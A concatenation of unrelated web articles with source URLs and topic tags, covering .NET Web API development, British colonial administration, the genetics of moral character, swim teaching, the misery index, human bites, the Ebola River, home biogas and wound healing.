installed, as different projects may require specific versions. Once installed, open Visual Studio and create a new project, selecting the desired .NET project template. Visual Studio provides a range of templates for different types of applications, such as web, desktop, or mobile. Finally, configure any additional dependencies or packages specific to your project requirements. With the development environment set up, you’re ready to start coding and building .NET applications efficiently using Visual Studio’s powerful tools and features. - Creating a New Project: Creating a new project involves a straightforward process. Open Visual Studio, select the “Create a new project” option and choose the appropriate .NET Web API project template. This template sets up the necessary project structure and initial configuration for building a Web API. Specify the project name and location, and then click “Create.” Visual Studio will generate the project files, including controllers, models, and other necessary components. From there, you can start defining API routes, implementing controller actions, and adding business logic to handle requests and generate responses. Creating a new project in .NET Web API sets the foundation for building a robust API that can be consumed by client applications. - Designing the API: Designing the API involves planning the structure, endpoints, and functionality of the API. It starts with identifying the resources that the API will expose, determining the appropriate HTTP methods for each resource, and defining the data models or DTOs to represent the request and response payloads. Additionally, considering factors like versioning, error handling, and security requirements is crucial during the design phase. By carefully designing the API in .NET, developers can create an intuitive and efficient interface that promotes ease of use and supports the desired functionality for client applications to interact with the API. - Implementing Controllers: Implementing controllers is a fundamental aspect of building the API’s functionality. Controllers handle incoming HTTP requests, process the data, and generate appropriate responses. In the .NET Web API framework, controllers are classes that inherit from the ApiController base class. Within these controller classes, you define action methods that correspond to different endpoints or routes of the API. Each action method is decorated with attributes that specify the HTTP method (e.g., [HttpGet], [HttpPost]) and other parameters. Inside the action methods, you write the logic to retrieve or manipulate data, perform business operations, and construct the response. By implementing controllers effectively, you create the core functionality of the API, enabling it to handle requests and provide the desired behavior to client applications. - Implementing Actions: Implementing actions involves defining methods within the API controller that handle specific HTTP requests and generate appropriate responses. Each action corresponds to an API endpoint and is decorated with attributes that specify the HTTP method (such as [HttpGet], [HttpPost], etc.) that triggers the action. Within each action method, developers write the logic to process the incoming request, validate inputs, perform necessary operations on data, and generate the response. Actions can interact with other components, such as services or repositories, to access or manipulate data as required. By effectively implementing actions, developers can create the desired behavior for each API endpoint, enabling clients to interact with the API and receive meaningful responses. - Configuring Routing: Configuring routing involves setting up the rules that determine how incoming requests are mapped to the appropriate controller actions. Routing ensures that requests are directed to the correct endpoint based on the requested URL and HTTP method. In .NET Web API, routing is typically configured in the WebApiConfig.cs file. Developers can define custom routes and specify the URL patterns, parameter mappings, and constraints. By configuring routing effectively, developers can ensure that API requests are properly routed to the corresponding controller actions, enabling clients to access the desired resources and perform operations on them. - Implementing Data Access: Implementing data access involves connecting to databases or external services to retrieve or persist data. This is typically done using data access frameworks like Entity Framework or ADO.NET. Developers can define data models or entities that represent the database tables or external data sources they need to interact with. By using these frameworks, developers can easily perform CRUD (Create, Read, Update, Delete) operations on the data. They can write queries, use LINQ (Language Integrated Query) to retrieve data, and leverage features like caching and transaction management. Implementing data access effectively in a Web API ensures seamless integration with databases or external services, enabling the API to interact with and manipulate data efficiently. - Handling Validation and Errors: Handling validation and errors involves ensuring that incoming data is validated and responding appropriately to any errors that occur during the request processing. In Web API, validation can be performed using model validation attributes, such as [Required], [MaxLength], or custom validation attributes, to validate the request data against defined rules. The ModelState object helps capture validation errors and provides access to error messages. Additionally, error handling can be implemented using global exception handling to catch and handle unexpected errors. Developers can customize error responses by returning appropriate HTTP status codes, error messages, and error details. By effectively handling validation and errors, developers can ensure the integrity of the data and provide meaningful feedback to clients in case of errors or invalid inputs. - Implementing Security: Implementing security involves protecting the API and its resources from unauthorized access and ensuring the confidentiality and integrity of the data being exchanged. Security measures can include authentication and authorization mechanisms. Authentication verifies the identity of the requesting client, while authorization determines whether the client has the necessary permissions to access or perform specific operations on the requested resources. In .NET Web API, developers can leverage authentication frameworks like JWT (JSON Web Tokens) or OAuth to implement secure authentication. Authorization can be achieved through role-based or policy-based access control mechanisms. Developers can define custom authorization attributes or use built-in authorization mechanisms provided by the .NET framework. By implementing robust security measures, developers can safeguard the API, protect sensitive data, and ensure that only authorized clients can access and interact with the API’s resources. - Testing the API Testing the API is crucial to ensure its functionality, performance, and reliability. Testing involves verifying the behavior of API endpoints and validating their responses. In .NET Web API, developers can perform different types of testing, including unit testing and integration testing. Unit testing focuses on testing individual API endpoints and their associated logic using frameworks like NUnit or xUnit. Integration testing involves testing the API as a whole, including the interaction between different components and external dependencies. Tools like Postman or Swagger can be used to perform manual or automated integration testing by sending requests and examining the responses. Through thorough testing, developers can identify and fix bugs, validate the API’s behavior against various scenarios, and ensure that it meets the expected requirements and performance standards. - Documentation and API Design: Documentation and API design play crucial roles in developing a well-structured and consumable .NET Web API. Effective documentation provides clear and comprehensive guidance on the API’s endpoints, parameters, request/response formats, authentication/authorization requirements, and any additional details that developers need to know. Documenting the API using tools like Swagger or creating custom documentation ensures that developers can easily understand and utilize the API. Additionally, API design principles should be followed to create an intuitive and consistent API structure. This includes using meaningful and descriptive endpoint names, adhering to RESTful principles, considering versioning strategies, and providing proper error responses. A well-designed API with thorough documentation promotes usability, simplifies integration, and enhances the overall developer experience when consuming the .NET Web API. - Performance Optimization: Performance optimization is an important aspect of developing a high-performing .NET Web API. To optimize performance, several techniques can be applied. Caching can be implemented to store frequently accessed data in memory, reducing the need for repeated expensive database queries. Code optimization, such as reducing unnecessary database round-trips or optimizing algorithm efficiency, can significantly improve response times. Asynchronous programming can be employed to handle multiple requests concurrently and maximize resource utilization. Proper database indexing and query optimization techniques can also enhance performance. Monitoring and profiling tools can be utilized to identify bottlenecks and optimize the API’s performance. By focusing on performance optimization, developers can ensure that the .NET Web API delivers fast response times, efficient resource utilization, and a smooth user experience. - Deployment and Hosting: Deployment and hosting are critical steps in making a .NET Web API accessible to clients over the Internet. Deployment involves packaging the API and its dependencies into a deployable package, such as a self-contained executable or a publishable folder. Hosting refers to the process of making the API available on a server or a hosting environment. In .NET, popular hosting options include Azure App Service, IIS (Internet Information Services), or self-hosting using the Kestrel server. Hosting providers offer features like scalability, load balancing, and security to ensure the API’s availability and performance. Before deployment, configurations for environment-specific settings, such as connection strings or API keys, should be properly managed. By effectively deploying and hosting the .NET Web API, developers can ensure that it is accessible to clients, performs well under various traffic loads, and meets the desired scalability and availability requirements. Embark on a new journey by join our .NET training in Chennai at Intellimindz, enroll now! Building a Web API with .NET requires following a comprehensive roadmap. This roadmap involves setting up the development environment, creating a new project, designing the API, implementing controllers and actions, configuring routing, handling validation and errors, implementing security, testing the API, documenting the API, optimizing performance, and deploying and hosting the API. By following this roadmap, developers can build a robust and scalable Web API using .NET, ensuring effective communication, secure access, and efficient functionality for client applications.

https://intellimindz.com/dot-net-training-in-chennai/Dot

Romance

en

The intricate web of governance that characterized the British Empire was as diverse as the territories it encompassed. From the bustling streets of Bombay to the sprawling plantations of Jamaica, colonial administration took on myriad forms, each shaped by the unique circumstances and dynamics of its surroundings. At the heart of this administrative tapestry lay three primary models: direct rule, indirect rule, and settler colonies. Each approach carried its own set of implications, reflecting the complex interplay of power, politics, and culture that defined the imperial enterprise. Direct rule, as its name suggests, involved the direct imposition of British authority over colonial territories. Under this model, British administrators wielded significant control over all aspects of governance, from law and order to taxation and public works. This form of administration was most commonly seen in territories deemed strategically vital or culturally disparate, where British oversight was deemed essential to maintain stability and order. In contrast, indirect rule sought to govern colonies through local intermediaries, often traditional tribal or religious leaders. By co-opting existing power structures, British administrators hoped to minimize direct intervention while still exerting influence over colonial affairs. This approach was particularly prevalent in regions with well-established indigenous governance systems, such as parts of Africa and Southeast Asia. Settler colonies presented a distinct set of challenges and opportunities for colonial administrators. In these territories, predominantly in North America, Australia, and Southern Africa, British settlers formed the backbone of colonial society, bringing with them their own legal and political traditions. While British authorities provided a framework for governance, settlers often enjoyed a degree of autonomy in managing local affairs, leading to the emergence of unique political identities and institutions. Yet, within this mosaic of administrative structures, no two colonies were exactly alike. Some territories were granted significant autonomy and self-governance, while others were subjected to stringent British control. Factors such as geography, demographics, and economic interests all played a role in shaping the governance landscape, resulting in a rich tapestry of colonial experiences and legacies. As we reflect on the complexities of British colonial administration, we are reminded of the enduring legacy of imperialism in shaping the modern world. The echoes of past governance structures continue to reverberate in the political, social, and economic realities of former colonial territories, reminding us of the need for nuanced understanding and dialogue in navigating the complexities of our shared history. Post a Comment

https://www.alalamychronicles.com.ng/2024/05/navigating-colonial-realities-varied.html

Culture

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A new study by Pennsylvania State University in State College, the University of Oregon in Eugene, and Yale University School of Medicine in New Haven, CT, followed sets of siblings in an effort to better understand whether our moral compass is solely down to our upbringing, or whether our genetic inheritance also has a say in the matter. Amanda Ramos from Penn State University, refers to a person’s moral qualities as their “virtuous character” and explains that both nurture and nature could work together to shape them. A lot of studies have shown a link between parenting and these virtuous traits, but they haven’t looked at the genetic component. Researchers conducted a study investigating the extent to which “virtuous character” is a heritable trait. They worked with 720 pairs of siblings with different degrees of relatedness. They ranged from identical twins who grew up together in the same environment to half-siblings and step-siblings with no common genetic material but who grew up under the same roof. “If identical twins are more similar than fraternal twins, for example, it’s assumed there’s a genetic influence,” says Ramos. Including multiple degrees of relatedness can give you more power to disentangle the genetic influences from the shared environment.” They assessed the relevant data-such as parental practices and the children’s apparent sense of responsibility- in two rounds: first, during the siblings’ adolescent periods, and then again when they were young adults. Researchers discovered that nurture, in the form of positive parenting – that is, reinforcing and rewarding good behavior did correlate with a stronger sense of responsibility in the children. However, they point out that this association was notably more visible in siblings who not only grew up in the same environment, but who were also related by blood. Genetics and parenting have an effect on these characteristics. The way children act or behave is due, in part, to genetic similarity and parents respond to those child behaviors. The behaviors are having an influence on the children’s social responsibility and conscientiousness. DNA sets the tone for more than physical appearance.

http://haleplushearty.org/2019/02/27/effects-of-genetics-and-parenting-on-behaviour/

Health

en

The importance of a Back Float Often parents ask “Why do we spend time learning back floats?” At Njswim, our approach to swim teaching is focused on achieving positive and safe introduction into the aquatic environment. Our swimming foundation is built in three areas: breath control, buoyancy, and movement. Back floats are essential for a child to understand their buoyancy and safety in the water. If a child finds themselves in a dangerous or scary situation in the water, they can rollover onto their backs and float. This gives them an open airway without exerting too much energy and the ability to call for help. You can check out more Safer Swim Tips Here Back floats are useful for beginner swimmers as well. Swimming the entire length of the pool can get tiring. Being able to rollover to their backs and float is a great way for them to regain their strength and continue swimming. Once your swimmer “discovers their buoyancy”, they can develop a more efficient approach to swimming. Proper body control and buoyancy, with efficient propulsion, are the keys for developing proper stroke technique. Back Stroke First At Njswim our progression focuses on Elementary Backstroke (Tickle-T-Snap) and Backstroke before learning freestyle and breaststroke. Once your swimmer can float, the next step is to learn Elementary Backstroke. Although it is not a competition stroke, it is still very important because it is a resting stroke. Your swimmer will learn to move their bodies through the water, while maintaining their float. This stroke is great for a beginner swimmer because their face is out of the water, so they are able to breathe normally. Backstroke is next and is a fun, relaxing stroke to learn! The process of learning Backstroke at Njswim begins with Boiling Water Kicks, kicking their toes on their backs to propel their bodies across the pool. The next step is Upside Down Pencil Glides, kicking with their arms above their heads in the streamline position. Once they have mastered these skills, the arm movements come next. Since your swimmer’s face is out of the water, they do not have to concentrate on breathing and can focus on the movements of the rest of their bodies. Backstroke helps to develop muscles in swimmers’ back, arms, legs, and core. Developing these muscles early will make the process of learning the other strokes easier. See you all at the Pool!

https://njswim.com/back-floats-backstroke/

Education

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The misery index is an economic indicator originally created by Arthur Okun, a former Brookings Institution economist and member of the Council of Economic Advisers to U.S. President Lyndon B. Johnson. The misery index is calculated by simply adding the unemployment rate to the inflation rate. Despite its rather simple calculation, it is useful in determining how the average citizen in a given country is doing, as higher rates of unemployment and inflation are associated with increased socio-economic issues for a country. Okun invented the misery index in the 1970s while working at the Brookings Institution. The misery index is often trotted out during times of economic turmoil and Okun’s invention was certainly timed to perfection in that regard. During the 1970s, the U.S., as well as much of the rest of the world, was suffering from both high inflation and high unemployment, which came to be called “stagflation”. This was largely caused by OPEC’s rise to power and subsequent oil shipment boycott to the U.S. and other western nations in retaliation for their assistance to Israel during the Yom Kippur War. This situation caused oil prices to skyrocket and economic growth to slow while the stock market crashed. President Reagan once said, “Inflation is as violent as a mugger, as frightening as an armed robber, and as deadly as a hit man.” Although the misery index usually appears in times of economic turmoil, the global economy is doing pretty well at the moment. The Misery Index in a Healthy Economy A healthy economy will produce a misery index of between 6-7 percent. The ideal rate of growth is 2-3 percent. To achieve that, employers need to find good workers. They need to see a natural rate of unemployment from 4-5 percent. When the rate is lower than that, companies can’t find enough good workers to maximize production. As a result, growth will slow. A healthy economy also requires some inflation. The Federal Reserve aims for a target inflation rate of 2 percent year-over-year. The Fed uses the core inflation rate that removes energy and food prices. Those prices are too volatile, thanks to daily trading by commodities brokers. A misery index between 6 – 7 percent signals the Goldilocks economy (an economy that is not too hot or cold, in other words, sustains moderate economic growth, and that has low inflation, which allows a market-friendly monetary policy), with healthy levels of inflation and unemployment. Leading the pack of high misery indexes is Rivers State, whose inflation rate of 18.01% in Q3 2017 has sent its misery index through the roof (79.37). Other states with high misery index include Jigawa (78.24), Kaduna (76.5) and Kano (68.56). On the other hand, states such as Taraba (29.59), Osun (35.36) and Ogun (36.94) still maintain low misery indexes. At 55.90, Nigeria’s misery index is among SSA’s top 10. The spike in unemployment and underemployment occurred within the same period Nigeria exited recession and recorded a positive GDP growth rate of 1.4% (Q3’17). This means that Nigeria recorded a jobless growth in Q2 and Q3 of 2017 (the underemployment rate inched to 21.2% in Q3, from 21.1% in Q2, and 19.1% in Q3’16. This means that 34.02 million people were either unemployed or underemployed in the third quarter of 2017). It is a lagging economic indicator and its movement is a response to economic events or trends that have occurred. Hence the economic growth and pick up in business activities will be felt on the job data in 2018. Like Nigeria, South Africa also emerged from recession in Q2-17 but unemployment remained high at 27.7% in Q3-17, the highest in 13 years. This further backs the NBS claim that an economic recession is consistent with an increase in unemployment as jobs are lost and new jobs creation is stalled. Thus, despite a mild recovery in the economy, economic misery has worsened as welfare level deteriorates amid elevated food prices, increased demand for jobs, as well as downsizing in the labor market. More importantly, this reiterates the need to prioritize job creation beyond aggregate GDP growth as a measure of economic welfare and overall improvement in the economy. Beyond the numbers, what is of most concern is the trend of Nigeria’s misery index. The index has risen for some time now. If this movement persists, consumers will be hit hard in the following ways: - They will face an even deeper dwindling in purchasing power, as their incomes can only buy less of their usual consumption basket. - The poor will become poorer in real terms, - and the middle class will thin out. Additionally, climbing misery index implies declining economic activity and reduced consumption. This is because unemployed people are underutilized and rising prices will discourage rational consumers from spending. This can cause or complicate an economic slowdown or contraction. There will also be increased debt, as the FG borrows money to increase social support schemes. In the end, the citizens will be left with high uncertainty and low morale. Furthermore, it is believed that consecutive rises in the misery index usually lead to a decline in the favorability ratings of the serving administration, and could result in a re-election loss for the incumbent. This was the case for U.S. President Ford and Jimmy Carter, whose terms saw the misery index reach all-time highs.

https://brandspurng.com/misery-index-history-meaning-and-how-it-affects-you/

Business

en

“Human teeth bites can be as dangerous as or even more dangerous than animal bites because of the types of bacteria and viruses contained in the human mouth” – Mayo Clinic Discussion Opening of Human Teeth bites According to Cleveland Clinic, there are two distinct types of human teeth bites. They include; occlusion bites and closed fist bites. Occlusion bites occur when someone else’s teeth sink into your skin with enough force to break through the surface, while closed fist bites occur when someone’s fist makes contact with another person’s teeth, puncturing their hand in the process. This occurs with children and also occurs during fights or sexual intercourse. While people generally do not consider human bites to be serious, you should promptly request your physician to examine and treat any bite that breaks your skin. The human mouth contains a vast number of bacteria, that can be harmful when introduced into the body through a bite. Some of these bacteria include; the Streptococcus and Staphylococcus species which can lead to infections when not promptly treated. If the biter has an infection with viruses like hepatitis B, hepatitis C, and human immunodeficiency virus (HIV), it can lead to disease transmission when the victim’s skin is broken. Nevertheless, the victim’s blood can also infect the biter. If a biting incident does occur, the first step to take is to stop the bleeding by using a clean dry cloth to apply pressure to the wound. The second step is to clean out the wound with mild soap and water, pat it dry and cover it with a bandage. If biting occurs in highly sensitive areas like the neck or face, we recommend that you promptly seek the attention of a healthcare provider within 24 hours. Human teeth bites can incur shocking pain, injury, and psychological trauma, hence we must watch out for a bite attack.

https://www.thenews-chronicle.com/the-dangers-of-human-bites/

Health

en

The Ebola Virus Disease (EVD) ravaging West Africa continues to receive global attention, having claimed 1,552 lives (as at August 28) since February when it broke out. However, little has been said about the river after which the viral disease is named. Here are three facts about a river that has itself wreaked no havoc on humanity but has suddenly become the water body no one wants to bathe in. 1. EBOLA RIVER IS NOT RESPONSIBLE FOR EBOLA VIRUS Since the outbreak of Ebola in August 1976, much scientific work has gone into combating the virus and consequently the disease. But little has been written or said about the river, and this is no coincidence. It is because Ebola River is not responsible for the outbreak of the virus. There are five Ebola strains, each having a different degree of fatality and breaking out at different locations of the world where the river is absent. 2. EBOLA RIVER IS A VICTIM OF EBOLA VIRUS When we speak of Ebola, we often consider humans and some primates as the victims. But the ignominy that Ebola River now personifies has shown that victims of the disease are more than humans and animals. Ebola River has a length of about 225km, making it a very potent player in the economic lifestyle of its immediate community before August 1976. It had an enviable tourist value, and it enhanced aquamarine activities in the region. However, the river became ill-fated after the deaths of Mabalo Lokela, a school headmaster and the first-ever victim of the virus, and the Belgian nun who got the attention of Belgian doctor Peter Piot (the man who discovered the virus). Mabalo was on a tour with a small group from Yambuku Mission when he contracted the disease. The first identified case was discovered at Yambuku, about 96km away from Ebola River. Perhaps the disease could have been named Yambuku Virus Disease, but it was named after the river, whose only ‘offence’ was to be on the map of the Democratic Republic of Congo when Peter Piot and his team were looking for a river. Piot and his colleagues had learned a lot about the virus in Yambuku, but didn’t have a name for it. “We didn’t want to name it after the village, Yambuku, because it’s so stigmatising,” Piot would later tell the BBC. “You don’t want to be associated with that.” The team decided to name the virus after a river. They had a map of Congo, and the closest river they could see was the unfortunate Ebola River. And so the river got the name, infamy and stigma. A victim indeed! 3. EBOLA RIVER MORE THAN JUST EBOLA! Hardly is there anyone familiar with EVD who doesn’t know that it was named after the Ebola River, but that is almost all an average person knows about the river. Very few know that the river, located in the northern part of the Democratic Republic of the Congo, is the headstream of the Mongala River, which is connected to Congo River – the deepest river in the World with a depth of 220m. Ebola River discharges into this river, which flows as the 9th longest river in the World, and second in Africa only to River Nile. Ebola River also flows into the Atlantic Ocean, as the Congo river, which it discharges into, flows into Democratic Republic of Congo, Central African Republic (CAR), Angola, Republic of Congo, Tanzania, Cameroon, Zambia, Burundi, Rwanda and – finally – into the Atlantic ocean. PHOTO CREDIT: Peter Piot

http://naijalog.com/three-facts-you-should-know-about-ebola-river/

Politics

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Are you aware of the incredible potential of biogas? Imagine being able to transform your everyday organic wastes, such as animal droppings, leftover meals, spoiled fruits and vegetables, rice water, and vegetable peels, into clean and renewable cooking gas. It may sound astonishing, but it’s absolutely possible! What is biogas? Biogas refers to the product obtained through the decomposition of organic materials, such as plant and animal products, by bacteria in the absence of oxygen, known as anaerobic digestion. The process of anaerobic digestion is employed in biogas systems to recycle these organic materials and convert them into biogas, which comprises energy in the form of gas, as well as valuable by-products in the form of liquids and solids that can be used in soil enrichment. Biogas, the primary product of waste-to-energy conversion, is a mixture of gases, primarily methane (CH4) and carbon dioxide (CO2), along with small amounts of other gases like hydrogen sulfide (H2S) and traces of water vavapourMethane, the main component, is a potent greenhouse gas with approximately 25 times the global warming potential of carbon dioxide. By capturing and utilizing methane through biogas production, we can significantly reduce its release into the atmosphere, contributing to the mitigation of climate change. Generating cooking gas from waste is an innovative and sustainable approach that addresses the challenges of waste management while simultaneously providing a renewable energy source for cooking purposes. By following a few simple steps, you can become your own supplier and bid farewell to exorbitant spending on LPG gas. Not only will you save money, but you’ll also contribute to a greener environment by harnessing the power of renewable energy Benefits of Generating Cooking Gas from Wastes In an age of worrying climate change and the impending decline of fossil energy, the advantages of biogas are readily apparent. The generation of cooking gas from wawasteffers numerous benefits, both environmental and socioeconomic. Some of the key advantages include: Waste Management and Resource Efficiency: Converting waste materials into cooking gas aligns with the principles of the circular economy by turning waste into a valuable resource. This approach encourages waste reduction and promotes resource efficiency. Rather than disposing of organic waste, which would contribute to landfill growth, these materials are repurposed to generate a valuable energy source. This practice not only minimizes waste management issues but also optimizes the use of available resources, reducing the need for virgin materials and mitigating the strain on natural ecosystems. Renewable Energy Source: Biogas is a renewable energy source that can replace conventional cooking fuels. Unlike fossil fuels, which are finite and contribute to environmental degradation, biogas is derived from organic materials that are continually generated. By harnessing biogas, we can reduce dependence on non-renewable resources and promote a sustainable energy future. Climate Change Mitigation: The combustion of biogas for cooking purposes releases significantly fewer greenhouse gas emissions compared to traditional fuels. Since methane is a potent greenhouse gas, its capture and utilization through biogas production prevent its direct release into the atmosphere, thereby mitigating climate change impacts. Enhanced Health and Safety: Traditional cooking methods, such as open fires and inefficient stoves, are associated with indoor air pollution, which poses severe health risks, particularly for women and children. Generating cooking gas from waste materials provides a safer and cleaner cooking alternative. Biogas, when utilized in modern cookstoves, produces minimal smoke and harmful emissions, improving indoor air quality and reducing the incidence of respiratory diseases. This aspect significantly enhances the health and well-being of households, particularly in developing regions where traditional cooking practices are prevalent. Switching to home-based cooking gas generation from was lead to substantial cost savings in the long run. Biogas production utilizes readily available waste materials, which significantly reduces the need to purchase conventional cooking gas. Resilience to Energy Crises: In times of energy crises or disruptions in the supply of conventional cooking gas, home-based biogas systems provide a reliable and continuous source of energy. This resilience is particularly crucial in remote or rural areas where access to conventional energy sources may be limited. Potential for income generation: The potential for income generation through home-based biogas production is significant. By producing surplus biogas beyond their cooking needs, households have the opportunity to sell the excess gas to neighbours nearby establishments. This not only allows biogas producers to recover their initial investment in the biogas digester but also creates a steady income stream over time. - Fuel Your Financial Freedom: Top 17 Daily Income Businesses in Nigeria - Best 12 Businesses that move fast in Nigeria - 16 Highly Profitable Business Ideas for Students in Nigeria Here’s the deal; Introducing our comprehensive video training on constructing a home-sized biogas plant. Learn how to efficiently convert your agro and kitchen waste into valuable resources, including cooking gas and premium fertilizer for enhancing your farms and gardens. Get trained today! Click on the link below for more info! This book provides valuable insights on utilizing kitchen waste and farm yard waste to produce cooking gas. By following the information and techniques shared within, you can potentially eliminate the need to purchase cooking gas. Emphasizing the use of biofuels, the book encourages individuals to adopt eco-friendly practices. Say No to unnecessary spending on LPG gas. Let’s embrace biogas technology. Watch me convert my kitchen wastes into cooking gas: Don’t miss out on this incredible opportunity!

https://opzygist.com.ng/info-review/how-to-generate-cooking-gas-from-waste/

Business

en

A wound is defined as a disruption of the normal anatomical structure and function of the skin or other tissues. This disruption can result from various causes, including trauma (such as cuts, abrasions, or punctures), surgical procedures, burns, or diseases that affect tissue integrity. Wounds can be classified into two main categories: acute wounds, which heal in a predictable manner and within a specific time frame, and chronic wounds, which fail to progress through the normal stages of healing. Phases of Wound Healing Wound healing is a complex biological process that occurs in several overlapping phases. The primary phases include hemostasis, inflammation, proliferation, and remodeling. Each phase has distinct characteristics and time frames. - Hemostasis Phase - Duration: Immediate to 30 minutes post-injury. - Description: This initial phase begins immediately after injury. The body responds to bleeding by constricting blood vessels (vasoconstriction) and activating platelets to form a clot. Platelets release signaling molecules that attract more platelets and initiate the healing process. The formation of a fibrin clot serves as a temporary barrier to prevent further blood loss and provides a scaffold for incoming cells. - Inflammation Phase - Duration: Approximately 1 to 6 days post-injury. - Description: Following hemostasis, the inflammation phase begins. Blood vessels dilate (vasodilation), allowing immune cells such as neutrophils and macrophages to migrate to the wound site. Neutrophils help clear debris and bacteria, while macrophages play a crucial role in orchestrating the healing response by releasing growth factors and cytokines that promote tissue repair. - Proliferation Phase - Duration: Approximately 3 days to 3 weeks post-injury. - Description: During this phase, new tissue formation occurs through processes such as angiogenesis (formation of new blood vessels), fibroplasia (production of collagen by fibroblasts), and epithelialization (regrowth of skin over the wound). Granulation tissue forms at the wound site, providing a matrix for new cells to grow. This phase is characterized by increased cell proliferation and migration. - Remodeling Phase - Duration: From about 3 weeks up to 1 year or longer post-injury. - Description: The final phase involves the maturation of collagen fibers in the wound bed, leading to increased tensile strength of the healed tissue. Collagen is reorganized and cross-linked over time; this process can take months to years depending on various factors such as wound size, location, patient health status, and age. Overall, these phases are not strictly sequential; they often overlap in time as different cellular activities occur simultaneously throughout the healing process. Essential Elements and Significance of Granulation Tissue Granulation tissue forms as part of the body’s natural response to injury. It consists of new connective tissue and tiny blood vessels that develop in the wound bed. It forms during the proliferative phase of healing, which follows inflammation and precedes maturation or remodeling. This tissue typically appears pink or red due to its vascular nature and has a granular or bumpy texture, which is indicative of the newly formed blood vessels and fibroblasts present in the area. The formation of granulation tissue serves as a scaffold for further tissue regeneration, allowing for new cells to migrate into the wound site. Key Components of Granulation Tissue - Cellular Composition: - Fibroblasts: These are the predominant cells in granulation tissue. They synthesize collagen and extracellular matrix components that provide structural support to the healing tissue. - Endothelial Cells: These cells are crucial for angiogenesis, the formation of new blood vessels. The proliferation of endothelial cells leads to increased vascularity in granulation tissue, which is essential for delivering nutrients and oxygen to the healing area. - Inflammatory Cells: Macrophages play a significant role in granulation tissue by clearing debris and pathogens while also releasing growth factors that stimulate fibroblast activity and angiogenesis. - Mast Cells: These cells contribute to the inflammatory response and help regulate blood flow through their release of histamine. - Extracellular Matrix (ECM): - The ECM in granulation tissue consists mainly of collagen (particularly type III collagen), glycosaminoglycans, proteoglycans, and fibronectin. This matrix provides a scaffold for cell attachment and migration, facilitating further repair processes. - Granulation tissue is highly vascularized due to angiogenesis. New capillaries form from existing blood vessels under the influence of various growth factors such as Vascular Endothelial Growth Factor (VEGF). This rich blood supply is critical for supplying oxygen and nutrients necessary for cellular metabolism during healing. - Growth Factors and Cytokines: - Various growth factors (e.g., Transforming Growth Factor-beta [TGF-β], Platelet-Derived Growth Factor [PDGF]) are present in granulation tissue. These molecules orchestrate cellular activities such as proliferation, migration, differentiation, and ECM synthesis. - Wound Contraction: - Myofibroblasts, differentiated from fibroblasts within granulation tissue, play a crucial role in wound contraction by exerting contractile forces that reduce the size of the wound. Significance of Granulation Tissue - Wound Healing Process: - Granulation tissue serves as a temporary matrix that supports new tissue formation during wound healing. It bridges the gap between damaged tissues while providing a conducive environment for regeneration. - Infection Control: - The inflammatory response associated with granulation tissue formation helps prevent infection by recruiting immune cells to the site of injury. - Restoration of Functionality: - By providing structural integrity through collagen deposition and supporting new blood vessel formation, granulation tissue aids in restoring normal function to injured tissues over time. - Transition to Maturation Phase: - As healing progresses, granulation tissue eventually undergoes remodeling where it transforms into scar tissue composed primarily of type I collagen, leading to improved tensile strength at the injury site. - Clinical Implications: - Understanding granulation tissue is crucial for clinicians managing chronic wounds or conditions like diabetic ulcers where normal healing processes may be impaired. Three Types of Wound Healing - Primary Intention: This occurs when wounds are closed directly with sutures or staples without significant tissue loss (e.g., surgical incisions). Healing is rapid with minimal scarring. - Secondary Intention: In this type, wounds heal from the bottom up when edges cannot be approximated (e.g., pressure ulcers). Healing takes longer and results in more significant scarring due to granulation tissue formation. - Tertiary Intention: Also known as delayed primary closure; this occurs when a wound is left open for some time before being closed surgically (e.g., contaminated wounds). It combines aspects of both primary and secondary intention healing. Phases of Wound Healing Distinct to Each Type - Primary Intention: - Secondary Intention: - Proliferation (with granulation tissue formation) - Tertiary Intention: - Proliferation (initially left open) - Closure followed by remodeling Clinical Factors That Decrease Collagen Synthesis and Retard Wound Healing Several clinical factors can impede collagen synthesis: - Malnutrition: Deficiencies in proteins, vitamins (especially Vitamin C), and minerals can hinder collagen production. - Chronic Diseases: Conditions like diabetes mellitus can impair circulation and immune response. - Medications: Corticosteroids may inhibit fibroblast function. - Age: Older adults often experience slower healing due to decreased cellular activity. These factors contribute significantly to delayed wound healing processes. Rationale for Uses of Absorbable and Nonabsorbable Sutures Sutures are essential medical devices used to close wounds and facilitate healing after surgical procedures or injuries. They can be classified into two main categories: absorbable and nonabsorbable sutures. The choice between these types depends on various factors, including the nature of the wound, the location of the tissue, and the expected healing time. Absorbable sutures are designed to dissolve over time as the wound heals. They are made from materials that can be naturally absorbed by the body, such as catgut (derived from animal intestines) or synthetic polymers like polydioxanone and polyglactin. - Benefits of Absorbable Sutures: - No Need for Removal: One of the primary advantages is that they do not require removal, reducing patient discomfort and follow-up visits. - Ideal for Internal Wounds: They are particularly useful for internal wounds where access for suture removal is difficult. - Flexibility: Absorbable sutures tend to be more flexible, allowing them to conform better to the shape of the wound, which aids in healing. - Considerations for Use: - Duration of Strength: The duration that absorbable sutures maintain their tensile strength varies based on material; some dissolve within weeks while others may take months. - Potential Sensitivity: Some patients may experience sensitivity or allergic reactions to certain materials used in absorbable sutures. Nonabsorbable sutures are made from materials such as silk, nylon, or polyester that do not dissolve in the body. These sutures remain intact until they are manually removed by a healthcare professional. - Benefits of Nonabsorbable Sutures: - Long-lasting Support: They provide long-term support for tissues that require extended healing times. - Lower Risk of Reopening: Research indicates that nonabsorbable sutures may have a lower risk of wound reopening compared to absorbable ones in certain situations. - Cosmetic Considerations: Nonabsorbable sutures often provoke a lower immune response, making them suitable for cosmetic surgeries where scarring is a concern. - Considerations for Use: - Need for Removal: Patients must return to have these sutures removed after a specified period, which can be inconvenient. - Higher Infection Risk: Nonabsorbable sutures may carry a higher risk of infection due to their presence in the body over an extended period. The rationale behind choosing absorbable versus nonabsorbable sutures hinges on several factors including healing time, location of the wound, patient comfort, and potential complications associated with each type. Surgeons evaluate these aspects carefully when determining which type of suture will best facilitate optimal healing while minimizing risks. Understanding Wound Dressings A wound dressing is a sterile covering placed over a surgical incision or wound to protect it from infection, absorb drainage, and promote healing. The type of dressing used can vary based on the nature of the surgery, the location of the incision, and the amount of drainage expected. Proper dressing care is crucial for preventing complications such as infections and ensuring optimal healing. Types of Dressings - Primary Dressings: These are directly applied to the wound itself. They can be made from various materials including gauze, foam, hydrocolloid, or film dressings. The choice depends on the wound’s characteristics (e.g., depth, moisture level). - Secondary Dressings: These are used to secure primary dressings in place and provide additional protection. They may include adhesive tape or elastic bandages. - Specialized Dressings: Some wounds may require specialized dressings such as antimicrobial dressings that contain agents to reduce infection risk or hydrogel dressings that maintain moisture. Changing the Dressing Changing a dressing involves several critical steps: - Preparation: Before changing a 